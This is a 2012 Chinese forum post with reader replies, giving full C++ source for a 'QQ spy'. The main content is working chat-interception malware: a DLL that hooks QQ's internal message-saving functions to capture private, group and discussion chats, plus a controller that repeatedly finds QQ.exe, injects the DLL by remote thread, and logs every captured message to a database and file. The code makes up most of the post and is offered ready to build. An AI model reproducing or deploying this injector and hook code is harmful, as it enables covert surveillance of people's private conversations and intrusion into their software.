首页
社区
课程
招聘
[原创]hookQQ-API拦截QQ聊天记录-有图有码
发表于: 2012-6-13 20:37 98336

[原创]hookQQ-API拦截QQ聊天记录-有图有码

2012-6-13 20:37
98336
大家先对QQ采用ollydbg调试QQ,



分析出相关QQ内部函数
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
//?GetSelfUin@Contact@Util@@YAKXZ
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//?GetSelfUin@Contact@Util@@YAKXZ

然后我们写一个DLL来注射到QQ内部,调用QQ相关函数,获取相关QQ聊天记录信息,然后将QQ聊天记录用sendmessage发送出来。
DLL代码如下

#include "stdafx.h"
#include "QQspy.h"

#include "detours.h"
#pragma comment (lib, "detours.lib")

#include <set>
#include <shlwapi.h>
#pragma comment (lib, "shlwapi.lib")

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

//
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CQQMonApp

BEGIN_MESSAGE_MAP(CQQMonApp, CWinApp)
	//{{AFX_MSG_MAP(CQQMonApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CQQMonApp construction

CQQMonApp::CQQMonApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CQQMonApp object

CQQMonApp theApp;


// 定义函数类型
typedef  BOOL  (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr,
									  DWORD dTo_Num,
									  DWORD dFrom_Num,
									  DWORD dTo_Num_2,
									  struct ITXMsgPack * TXMsgPack,
									  struct ITXData* TXData);

typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group,
									wchar_t *un_1,
									wchar_t *username,
									wchar_t *un_1_,
									int num_1,
									int num_2,
									struct ITXMsgPack * TXMsgPack,
									struct ITXData* TXData);

//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack);

//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);

//
typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum);

//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum);

//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum);

//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &);

//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG);

//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);

//
typedef  PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack);


// 定义函数指针
M_SaveMsg_1			OldSaveMsg_1 = NULL;
M_SaveMsg_2			OldSaveMsg_2 = NULL;
M_SaveMsg_1			TrueSaveMsg_1 = NULL;
M_SaveMsg_2			TrueSaveMsg_2 = NULL;

M_GetMsgAbstract	TrueGetMsgAbstract = NULL;
M_GetMsgTime		TrueGetMsgTime = NULL;
M_GetGroupName		TrueGetGroupName = NULL;
M_GetDiscussName	TrueGetDiscussName = NULL;
M_GetPublicName		TrueGetPublicName = NULL;
M_GetSelfUin		TrueGetSelfUin = NULL;
M_GetSelfUin		OldGetSelfUin = NULL;


M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL;
M_GetGroupMemShowName TrueGetGroupMemShowName = NULL;

// 定义HOOK函数
BOOL  __cdecl NewSaveMsg_1(LPCWSTR lpStr,
						   DWORD dTo_Num,
						   DWORD dFrom_Num,
						   DWORD dTo_Num_2,
						   struct ITXMsgPack * TXMsgPack,
						   struct ITXData* TXData);

BOOL __cdecl NewSaveMsg_2(wchar_t *group,
						  wchar_t *un_1,
						  wchar_t *username,
						  wchar_t *un_1_,
						  int num_1,
						  int num_2,
						  struct ITXMsgPack * TXMsgPack,
						  struct ITXData* TXData);

//测试娱乐
int __cdecl NewGetSelfUin(void)
{
	return 475318423;
}
VOID __cdecl Sendinfo(CString str)
{


	COPYDATASTRUCT myCopyDATA;
	myCopyDATA.cbData=str.GetLength();
	myCopyDATA.lpData=str.GetBuffer(0);
	str.ReleaseBuffer();
	HWND hwnd=::FindWindow(NULL,"QQ-聊天记录接收"); 
	if (hwnd)
	{
		::SendMessage(hwnd,WM_COPYDATA,NULL,(LPARAM)&myCopyDATA);
	}
	else
	{
         AfxMessageBox(_T("发送失败!"));
	}



}


VOID __stdcall Joker()
{
	ULONG fnGetSelfUin;
	ULONG currentQQ;
	fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
	if ( fnGetSelfUin)
	{
		currentQQ = ((ULONG (__cdecl*)())fnGetSelfUin)();
		if ( currentQQ)
		{
			char buf[64];
			wsprintfA( buf, "新登录QQ: %d", currentQQ);
			CString fff = buf;
			fff =fff+"\r\n";
			OutputDebugString( fff);
			theApp.filename=buf;
			Sendinfo(fff);

		}
	}
}




BOOL CQQMonApp::InitInstance() 
{
	// TODO: Add your specialized code here and/or call the base class
	OutputDebugString("Hook Start");
	// 确保加载过KernelUtil.dll
	HMODULE hModule = NULL;
	hModule = GetModuleHandle(_T("KernelUtil.dll"));
	if (hModule == NULL)
	{
		hModule = LoadLibrary("KernelUtil.dll");
	}
	// 获得所需函数的地址
	TrueSaveMsg_1 = (M_SaveMsg_1) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z");			
	if (!TrueSaveMsg_1)
	{
		return FALSE;
	}
			
	TrueSaveMsg_2 = (M_SaveMsg_2) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_W000KKPAUITXMsgPack@@PAUITXData@@@Z");			
	if(!TrueSaveMsg_2)
	{
		return FALSE;
	}

	TrueGetMsgTime = (M_GetMsgTime)GetProcAddress(hModule, "?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z");			
	if (!TrueGetMsgTime)
	{
		return FALSE;
	}

	TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z");			
	if (!TrueGetPublicName)
	{
		return FALSE;
	}
			
	TrueGetGroupName = (M_GetGroupName) GetProcAddress(hModule, "?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z");
	if (!TrueGetGroupName)
	{
		return FALSE;
	}

	TrueGetDiscussName = (M_GetDiscussName) GetProcAddress(hModule, "?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z");
	if (!TrueGetDiscussName)
	{
		return FALSE;
	}

	TrueGetSelfUin = (M_GetSelfUin)GetProcAddress(hModule, "?GetSelfUin@Contact@Util@@YAKXZ");		
	if (!TrueGetSelfUin)
	{
		return FALSE;
	}

	TrueGetMsgAbstract = (M_GetMsgAbstract)GetProcAddress(hModule, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z");			
	if (!TrueGetMsgAbstract)
	{
		return FALSE;
	}

//	//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//	TrueGetGroupMemShowName = (M_GetGroupMemShowName) GetProcAddress(hModule, "?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z");
//	if (!TrueGetGroupMemShowName)
//	{
//		break;
//	}


	//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//	TrueGetGroupMemLongNickname = (M_GetGroupMemLongNickname) GetProcAddress(hModule, "?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z");
//	if (!TrueGetDiscussName)
//	{
//		break;
//	}

	// 开始HOOK
	if (TrueSaveMsg_1)
	{
		OldSaveMsg_1 = (M_SaveMsg_1) DetourFunction((PBYTE)TrueSaveMsg_1, (PBYTE)NewSaveMsg_1);
	}

	if (TrueSaveMsg_2)
	{
		OldSaveMsg_2 = (M_SaveMsg_2) DetourFunction((PBYTE)TrueSaveMsg_2, (PBYTE)NewSaveMsg_2);
	}
     Joker();
     
     //OldGetSelfUin = (M_GetSelfUin) DetourFunction((PBYTE)TrueGetSelfUin, (PBYTE)NewGetSelfUin);

	return CWinApp::InitInstance();
}


BOOL  __cdecl NewSaveMsg_1(LPCWSTR lpStr, 
						   DWORD dTo_Num, 
						   DWORD dFrom_Num, 
						   DWORD data3, 
						   struct ITXMsgPack * TXMsgPack, 
						   struct ITXData* TXData )
{




	long lSelfQQNum = TrueGetSelfUin();
	//调试打印输出,时间
	time_t Time;
	struct tm *local;
	WCHAR wszStringTime[20] = {0};
	Time = (time_t)TrueGetMsgTime(TXMsgPack);
	local = localtime(&Time);
	swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);

	LPWSTR lpName1 = NULL,lpName2 = NULL;
	
	if (TrueGetPublicName)
	{
		TrueGetPublicName(&lpName1, dFrom_Num);
		TrueGetPublicName(&lpName2, dTo_Num);
	}

	WCHAR wszStringBuffer[MAX_PATH] = {0};


	CString  ms1;
	CString  ms2;
	//发消息人是自己
    

	if(lSelfQQNum == dFrom_Num)
	{			
		swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
		ms1=wszStringBuffer;
	//	OutputDebugStringW(wszStringBuffer);
		
	}

	//发消息人不是自己
	if(lSelfQQNum != dFrom_Num && dTo_Num == lSelfQQNum)
	{			
		swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
		ms1=wszStringBuffer;
	//	OutputDebugStringW(wszStringBuffer);
	}

    
    
	CString strBuffer;
	LPWSTR *lpBuffer =(LPWSTR *)TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);
	

	ms2=ms1+"\r\n"+*lpBuffer;
	//调试打印输出,内容
	//OutputDebugStringW(*lpBuffer);
	Sendinfo(ms2);
    OutputDebugString(ms2);
    
	return OldSaveMsg_1(lpStr, dTo_Num, dFrom_Num, data3, TXMsgPack, TXData);
}



BOOL __cdecl NewSaveMsg_2( wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData )
{



	//调试打印输出,时间
	time_t Time;
	struct tm *local;
	WCHAR wszStringTime[20] = {0};
	Time = (time_t)TrueGetMsgTime(TXMsgPack);
	local = localtime(&Time);
	swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);
	long lSelfQQNum = TrueGetSelfUin();
	//
	WCHAR wszStringBuffer[2*MAX_PATH] = {0};
	CString strBuffer;
	LPWSTR *lpBuffer =(LPWSTR *) TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);

	CString strGroup(group);	
	LPWSTR lpName1 = NULL;

	CString ms1;


	if (strGroup.CompareNoCase("group") == 0)
	{
		if (TrueGetPublicName)
		{
			TrueGetGroupName(&lpName1, num_1);
		}

	//	TXStr Str;
	//	TrueGetGroupMemLongNickname(num_1,num_2,Str);
	//	OutputDebugStringW(Str.str);

		swprintf(wszStringBuffer,L"[群聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
        ms1=wszStringBuffer;
		ms1=ms1+"\r\n"+*lpBuffer;

        OutputDebugString(ms1);

          Sendinfo(ms1);

		//OutputDebugStringW(wszStringBuffer);
		//OutputDebugStringW(*lpBuffer);



	}


	else if (strGroup.CompareNoCase("discuss") == 0)
	{
		if (TrueGetDiscussName)
		{
			TrueGetDiscussName(&lpName1, num_1);
		}

		swprintf(wszStringBuffer,L"[讨聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
		ms1=wszStringBuffer;
		ms1=ms1+"\r\n"+*lpBuffer;

		OutputDebugString(ms1);
	    Sendinfo(ms1);

	//	OutputDebugStringW(wszStringBuffer);
    //OutputDebugStringW(*lpBuffer);


	}

	return OldSaveMsg_2(group, un_1, username, un_1_, num_1, num_2, TXMsgPack, TXData);
}

int CQQMonApp::ExitInstance() 
{
	// TODO: Add your specialized code here and/or call the base class
	OutputDebugString("Hook Exit");
	DetourRemove((PBYTE)OldSaveMsg_1, (PBYTE)NewSaveMsg_1);
	DetourRemove((PBYTE)OldSaveMsg_2, (PBYTE)NewSaveMsg_2);
//	DetourRemove((PBYTE)OldGetSelfUin, (PBYTE)NewGetSelfUin);

	return CWinApp::ExitInstance();
}


下面我们写一个MFC窗口程序,用来接收QQ聊天信息,并将QQ聊天记录显示出来,同时检索QQ进程,并将DLL注射到QQ的体内。

#include "stdafx.h"
#include "QQ-spy.h"
#include "QQ-spyDlg.h"
#include <windows.h>
#include <tlhelp32.h>
#include "ADOConn.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// 用于应用程序“关于”菜单项的 CAboutDlg 对话框

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// 对话框数据
	enum { IDD = IDD_ABOUTBOX };

	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持

// 实现
protected:
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()


// CQQSPYDlg 对话框




CQQSPYDlg::CQQSPYDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CQQSPYDlg::IDD, pParent)
{
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CQQSPYDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	DDX_Control(pDX, IDC_EDIT1, m_edit);
	DDX_Control(pDX, IDC_LIST1, m_list);
}

BEGIN_MESSAGE_MAP(CQQSPYDlg, CDialog)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	//}}AFX_MSG_MAP
	ON_WM_COPYDATA()
	ON_LBN_SELCHANGE(IDC_LIST1, &CQQSPYDlg::OnLbnSelchangeList1)
	ON_BN_CLICKED(IDC_BUTTON1, &CQQSPYDlg::OnBnClickedButton1)
	ON_WM_TIMER()
	ON_BN_CLICKED(IDC_BUTTON3, &CQQSPYDlg::OnBnClickedButton3)
END_MESSAGE_MAP()


// CQQSPYDlg 消息处理程序

BOOL CQQSPYDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// 将“关于...”菜单项添加到系统菜单中。

	// IDM_ABOUTBOX 必须在系统命令范围内。
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
	//  执行此操作
	SetIcon(m_hIcon, TRUE);			// 设置大图标
	SetIcon(m_hIcon, FALSE);		// 设置小图标

	// TODO: 在此添加额外的初始化代码

	SetTimer(1,15000,NULL);

	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}

void CQQSPYDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// 如果向对话框添加最小化按钮,则需要下面的代码
//  来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
//  这将由框架自动完成。

void CQQSPYDlg::OnPaint()
{
	if (IsIconic())
	{
		CPaintDC dc(this); // 用于绘制的设备上下文

		SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

		// 使图标在工作矩形中居中
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// 绘制图标
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

//当用户拖动最小化窗口时系统调用此函数取得光标显示。
//
HCURSOR CQQSPYDlg::OnQueryDragIcon()
{
	return static_cast<HCURSOR>(m_hIcon);
}



DWORD CQQSPYDlg::FindByPID(PTSTR pszProcessName)
{
	DWORD dwProcessID = 0;
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;

	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if(!Process32First(hProcessSnap, &pe32))
	{
		CloseHandle(hProcessSnap);
		return 0;
	}
	do
	{
		//找到QQ进程
		if (strcmp(pszProcessName, pe32.szExeFile) == 0)
		{
			dwProcessID = pe32.th32ProcessID;
			//wprintf(TEXT(">>> ------ PID = %d ------\n"), dwProcessID);
			//开始内存搜索
			CString  s1;
			s1.Format("%d",dwProcessID);


			int ss=m_list.GetCount();
			int tt=0;
			for (int i=0;i<ss;i++)
			{
               
				CString  s2;
				m_list.GetText(i,s2);
				if (s1==s2)
				{
				   tt=1;
                   break;
				}
			

			}
            if (tt==0)
            {
             m_list.AddString(s1);

			 TCHAR  Folder[MAX_PATH];
			 ::GetCurrentDirectory(MAX_PATH,Folder);
			 strcat(   Folder,   _T("\\QQMon.dll")   ); 

			 

            LPCTSTR s2=_T("F:\\QQ\\QQMon\\Release");

			 USES_CONVERSION; 
			 BOOL bInject=Inject(Folder,pe32.th32ProcessID);
			 if (bInject)
			 {
				 AfxMessageBox(_T("注入成功!"));
			 }
			 else
			 {AfxMessageBox(_T("注入失败"));
			 }


            }


			

		}
	}
	//继续找下一个进程
	while(Process32Next(hProcessSnap, &pe32));
	CloseHandle(hProcessSnap);
	//如果存在QQ进程,此处return的是最后一个QQ进程的ID,
	//如果不在QQ进程,此处return的是dwProcessID的初始值0
	return dwProcessID;
}

BOOL CQQSPYDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
	CString  m_strCopyData;
	m_strCopyData=(LPSTR)pCopyDataStruct->lpData; 
	m_strCopyData=m_strCopyData.Left(pCopyDataStruct->cbData);
	insertmsg(m_strCopyData);

	CString  ml;
	m_edit.GetWindowText(ml);
	m_edit.SetWindowText(ml+m_strCopyData+"\r\n");

	return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

void CQQSPYDlg::OnLbnSelchangeList1()
{


	// TODO: 在此添加控件通知处理程序代码
}

void CQQSPYDlg::OnBnClickedButton1()
{


	TCHAR pszP[] = TEXT("QQ.exe");
	DWORD dwPID = FindByPID(pszP);

	// TODO: 在此添加控件通知处理程序代码
}



BOOL  CQQSPYDlg::Inject(LPCTSTR szModule, DWORD dwID)
{
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwID);//打开进程
	if ( !hProcess ) {
		AfxMessageBox(_T("打开进程失败"));
		return FALSE;
	}
	int cByte  = (_tcslen(szModule)+1) * sizeof(TCHAR);
	LPVOID pAddr = VirtualAllocEx(hProcess, NULL, cByte, MEM_COMMIT, PAGE_READWRITE);//申请内存
	if ( !pAddr || !WriteProcessMemory(hProcess, pAddr, szModule, cByte, NULL))//写入dll地址
	{
		AfxMessageBox(_T("申请内存失败"));
		return FALSE;
	}
#ifdef _UNICODE  
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif//宽A和U定义 
	if ( !pfnStartAddr ) {
		return FALSE;
	}
	DWORD dwThreadID = 0;
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pfnStartAddr, pAddr, 0, &dwThreadID);
	if ( !hRemoteThread ) {

		return FALSE;
	}
	CloseHandle(hRemoteThread);	
	CloseHandle(hProcess);
	return(TRUE);

}
void CQQSPYDlg::OnTimer(UINT_PTR nIDEvent)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值

	switch (nIDEvent)
	{
	case 1:  
		///处理ID为1的定时器... 
        OnBnClickedButton1();

      // KillTimer(1);
		break;
	case 2: 
		///处理ID为2的定时器...
		break;
	}

	CDialog::OnTimer(nIDEvent);
}

void CQQSPYDlg::OnBnClickedButton3()
{
      
  

	
	// TODO: 在此添加控件通知处理程序代码
}
void CQQSPYDlg::insertmsg (CString ss)
{


     CString  m_strCopyData;
	 m_strCopyData=ss;

	 CString q1="默认消息";
	 CString q2="默认消息";
	 CString q3="默认消息";
	 CString q4="默认消息";
	 CString q5="默认消息";
	 CString q6="默认消息";
	 if ( m_strCopyData.Left(6)=="[讨聊]")
	 {
          q2="讨聊";
		  CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
		  int s2=s1.FindOneOf("]");
		  q1=s1.Mid(0,s2);
          
		  CString s3 =s1.Right(s1.GetLength()-s2-2);
		  int s4 =s3.FindOneOf("]");
		  q3=s3.Mid(0,s4);
		  

		  
         
          
		


		  CString s7=s3.Right(s1.GetLength()-s4);
		  int   s8 =s7.FindOneOf(")");
		  int   s9 =s7.FindOneOf(":");
		  q4=s7.Mid(s8+2,s9-s8-6);
		

		  
		
		  int s5=s1.FindOneOf(":");
		  q5=s1.Mid(s5-2,8);
		  q6=s1.Right(s1.GetLength()-s5-6);







	 }
	 if ( m_strCopyData.Left(6)=="[群聊]")
	 {
            q2="群聊";
			CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
			int s2=s1.FindOneOf("]");
			q1=s1.Mid(0,s2);
			int s3 =s1.FindOneOf("(");
			int s4 =s1.FindOneOf(")");
			q3=s1.Mid(s3+1,s4-s3-1);

			int s5=s1.FindOneOf("[");
			int s6=s1.Find("]",s5);
			q4=s1.Mid(s5+1,s6-s5-1);
			
			int s7=s1.FindOneOf(":");
			q5=s1.Mid(s7-2,8);
			q6=s1.Right(s1.GetLength()-s7-6);
		
		
	 }
	 if ( m_strCopyData.Left(6)=="[个聊]")
	 {
             q2="个聊";
			 CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
			 int s2=s1.FindOneOf("]");
             q1=s1.Mid(0,s2);
             int s3= m_strCopyData.FindOneOf("(");
			 int s4= m_strCopyData.FindOneOf("to");
             q3=m_strCopyData.Mid(s3+1,s4-s3-2);
			 CString s5 =m_strCopyData.Right(m_strCopyData.GetLength()-s4-3);
			 int s6 =s5.FindOneOf(")");
			 q4 =s5.Mid(0,s6);
			 int s7 =s5.FindOneOf(":");
             q5 =s5.Mid(s7-2,8);
			 q6=s5.Right(s5.GetLength()-s7-6);
	

         
	 }
    

     









	
	ADOConn m_AdoConn;
	m_AdoConn.OnInitADOConn();
	_bstr_t sql;
	sql = "select*from QQ";
	_RecordsetPtr m_pRecordset;
	m_pRecordset=m_AdoConn.GetRecordSet(sql);

	try
	{
		m_pRecordset->AddNew();//添加新行
		m_pRecordset->PutCollect("本地QQ",(_bstr_t)q1);
		m_pRecordset->PutCollect("聊天类型",(_bstr_t)q2);
		m_pRecordset->PutCollect("发送方",(_bstr_t)q3);
		m_pRecordset->PutCollect("接收方",(_bstr_t)q4);
		m_pRecordset->PutCollect("时间",(_bstr_t)q5);
		m_pRecordset->PutCollect("聊天内容",(_bstr_t)q6);

		m_pRecordset->Update();
		m_AdoConn.ExitConnect();
	}
	catch(...)
	{
		MessageBox("操作失败");
		return;
	}
	




	CString EditPrintf;
	EditPrintf =m_strCopyData+"\r\n";
	int nLength =EditPrintf.GetLength();
	CString fileName;  
	fileName="QQ.log";
	CStdioFile file;   
	file.Open(fileName,CFile::modeCreate |CFile::modeNoTruncate| CFile::modeWrite); 
	file.SeekToEnd();
	file.Write( EditPrintf,nLength);  
	file.Close(); 


}


然后大家看下效果图
登陆



个人对个人聊天



群聊



讨论组聊天


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
  • 1.png (79.21kb,6063次下载)
  • 2.png (446.34kb,5835次下载)
  • 3.png (455.42kb,5824次下载)
  • 4.png (348.36kb,5759次下载)
  • 5.png (443.40kb,5823次下载)
收藏
免费 6
支持
分享
最新回复 (85)
雪    币: 1136
活跃值: (683)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
方法不错啊!就是如果QQ开着的话就不需要这样看聊天记录了
2012-6-13 21:13
1
雪    币: 949
活跃值: (18)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
3
2楼太精辟了。
2012-6-13 21:17
0
雪    币: 20
活跃值: (89)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
这个很容易用来干坏事~大家懂得~
2012-6-13 22:07
0
雪    币: 992
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
.......有什么用呢????
2012-6-13 22:15
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
3楼更精辟
2012-6-13 22:19
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
7
我是来看二楼的。。。
2012-6-13 22:49
0
雪    币: 292
活跃值: (153)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
6楼人才啊。。。。
2012-6-13 22:49
0
雪    币: 128
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
评论很精彩,
嗯,这个可以加精!
2012-6-13 22:55
0
雪    币: 19
活跃值: (74)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很不错。赞一个,mark
2012-6-13 22:57
0
雪    币: 253
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
qq hook mark
2012-6-13 23:16
0
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
12
看 闹热
2012-6-14 06:59
0
雪    币: 79
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
13
怎么看都眼熟.
2012-6-14 08:28
0
雪    币: 125
活跃值: (161)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
去年就见过了 膜拜2L
2012-6-14 09:57
0
雪    币: 44
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
都是人才啊啊。。
2012-6-14 09:58
0
雪    币: 98
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
很早很早很早以前QQ2010的时候就出来这个方法了。。。

8楼是淫才啊。。
2012-6-14 10:01
0
雪    币: 384
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
确实 评论更精彩
2012-6-14 10:02
0
雪    币: 10001
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
我是看16楼的。。
2012-6-14 10:24
0
雪    币: 1751
活跃值: (1611)
能力值: ( LV12,RANK:222 )
在线值:
发帖
回帖
粉丝
19
15楼说得不错
2012-6-14 12:29
0
雪    币: 859
活跃值: (304)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
20
